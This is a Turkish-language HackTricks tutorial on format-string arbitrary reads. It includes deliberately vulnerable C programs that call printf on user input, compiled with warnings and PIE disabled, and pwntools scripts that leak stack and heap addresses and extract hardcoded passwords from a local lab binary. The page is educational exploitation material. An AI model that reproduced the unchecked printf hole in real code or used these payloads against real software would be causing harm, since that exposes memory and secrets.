Format Strings - Arbitrary Read Example

Sıfırdan Kahramana AWS hacklemeyi öğrenin htARTE (HackTricks AWS Red Team Expert) ile

HackTricks'i desteklemenin diğer yolları:

İkili Okumaya Başla

Kod

#include <stdio.h>

int main(void) {
char buffer[30];

fgets(buffer, sizeof(buffer), stdin);

printf(buffer);
return 0;
}

Derleyin:

clang -o fs-read fs-read.c -Wno-format-security -no-pie

Sızma

from pwn import *

p = process('./fs-read')

payload = f"%11$s|||||".encode()
payload += p64(0x00400000)

p.sendline(payload)
log.info(p.clean())
  • Ofset 11'dir çünkü birkaç As ayarlayarak ve bir döngü ile 0'dan 50'ye kadar ofsetleri brute-force ederek, ofset 11'de ve 5 ekstra karakterle (bizim durumumuzda borular |) tam bir adresi kontrol etmek mümkündür.

  • Adresin tamamı 0x4141414141414141 olduğunda %11$p'yi kullandım.

  • Format dizesi yükü, adresin ÖNCESİNDE olmalıdır çünkü printf, bir null bayta kadar okuma yapar, bu yüzden adresi gönderir ve ardından format dizesini gönderirsek, printf, null baytı bulacağından format dizesine asla ulaşamaz.

  • Seçilen adres 0x00400000'dir çünkü bu, ikili dosyanın başladığı yerdir (PIE yoktur)

Parolaları Oku

#include <stdio.h>
#include <string.h>

char bss_password[20] = "hardcodedPassBSS"; // Password in BSS

int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];

printf("Enter first password: ");
scanf("%19s", input1);

printf("Enter second password: ");
scanf("%19s", input2);

// Vulnerable printf
printf(input1);
printf("\n");

// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}

return 0;
}

Derleyin:

clang -o fs-read fs-read.c -Wno-format-security

Stack'ten Okuma

stack_password yerel bir değişken olduğundan dolayı stack'te saklanacaktır, bu yüzden sadece printf'i kötüye kullanarak stack'in içeriğini göstermek yeterli olacaktır. Bu, yığın üzerindeki şifreleri sızdırmak için ilk 100 pozisyonu sızdırmak için bir saldırıdır:

from pwn import *

for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()

Resimde, şifrenin yığın içinde 10. konumdan sızdırılabileceği görülebilir:

Veri Okuma

Aynı saldırıyı çalıştırarak ancak %s yerine %p kullanarak yığından bir yığın adresi sızdırmak mümkündür ve bu %25$p konumunda gerçekleşir. Dahası, sızdırılan adresin (0xaaaab7030894) o işlemde bellekteki şifrenin konumuyla karşılaştırarak adres farkını elde edebiliriz:

Şimdi yığında bir adresi kontrol etmek ve ikinci format dizesi güvenlik açığından erişmek için nasıl kontrol edileceğini bulma zamanı:

from pwn import *

def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

for i in range(30):
p = process("./fs-read")

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

password_addr = heap_leak_addr - 0x126a

print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"

p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()

Ve try 14'te kullanılan geçişle bir adresi kontrol edebileceğimizi görmek mümkündür:

Sızma

from pwn import *

p = process("./fs-read")

def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc

print(f"Calculated address is: {hex(password_addr)}")

# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)

p.sendline(payload)
output = p.clean()
print(output)
p.close()
Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin htARTE (HackTricks AWS Red Team Expert)!

HackTricks'ı desteklemenin diğer yolları:

Last updated